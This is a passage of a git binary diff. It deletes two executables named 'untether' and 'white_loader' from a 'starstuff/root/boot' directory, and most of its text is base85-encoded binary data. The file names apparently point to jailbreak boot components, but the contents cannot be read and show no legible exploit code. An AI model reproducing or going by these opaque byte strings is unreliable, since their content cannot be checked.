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 diff --git a/starstuff/root/boot/untether b/starstuff/root/boot/untether deleted file mode 100755 index cd3230051d937da6dd2f75d2abfcb8bb9c2aaadc..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 8192 zcmeI1QB0Fp6vyvJ5m9lLi3@RTelk>8gqDUXE@V@O1p*GD&iG)2LO*P^(ApM-ge~73 z5S%3H!WNRb447Nk=3>b-+cJnQ^TCJB;KC9f*oFv6jn0wG2WA}ZoPPgG?ZB~wr==&k z{oQ-dIsbd^`3eo?>b>8l5`++OG-7BhqESMVcH$E>QfRQ>Q0Mg+oQ_I^t-)!dwM3(l zMtONj(JRH<@{4xSf=wTz*StcclcNXEQH6_$*+6mfp-p*ZHUM>!8YdLOO%Gy?B-U8a@UU7b+7V_U; z^*XK$?*}11Oe{1)L=vxeoA7)SQruI&(|$r4Xaw`YLa+oZ11mr~=mdSB3bumnU;(PbS70A_85{z~zyNp~oB+ik?LP5f0+m$#GQA0c8L-{w~n=)Rey&)Q$>!yA&o87u#pIP%{mV2J1g9~~|?0P#m&*-UsxEJ#EQOd<_>IeyPe98f~}>m^0&TZ^!@CeFyqhG`7~RJUY$?9 zNG<+f#^Y><;;nP~$K!mF`qLhaFYQcB`+-uGk)vpBtWEMxTBBITrvqZ$506+Ba2moDHLki^UwLhv)9Iy4PX74*c=EvZQBl!8ZWAX)k7q5s=Po-jYF9rP zUm)HI#Os?!`@WEF>1ZzG&KsuV(mkEH5Rl56M|k~Nn{-Q3_l*AW;K9m_?1lG+Vp_&? zkG6~t(r8)MGMYl`)F)a-Wnvl)v9v!hq4o!gWToEW^{rk^H3ZgXsEdeKUW!#?i80GA zS@tDr^EDGJzd2MBIzGNh(XYZ|b5BJBu%?QpZL=3i=)w{%1 z7f$*2I>h?51DlE+md&#MQ+=wCeUF!3}Rot~iztksIOBKnhr9;p5C;At3v{+J$j#*aqN&blox^tN~#nSKmM=e7K zj#~-~3~rC(u+^s+4qH9c`bvjW5i{&P{2yAGN2yjkN^O!g_YiTXg(s6{&v?Z7;B;BR;c)r9~6 diff --git a/starstuff/root/boot/white_loader b/starstuff/root/boot/white_loader deleted file mode 100755 index 28c359beead092b44dadbd934a76d5e02a1dffee..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 34944 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 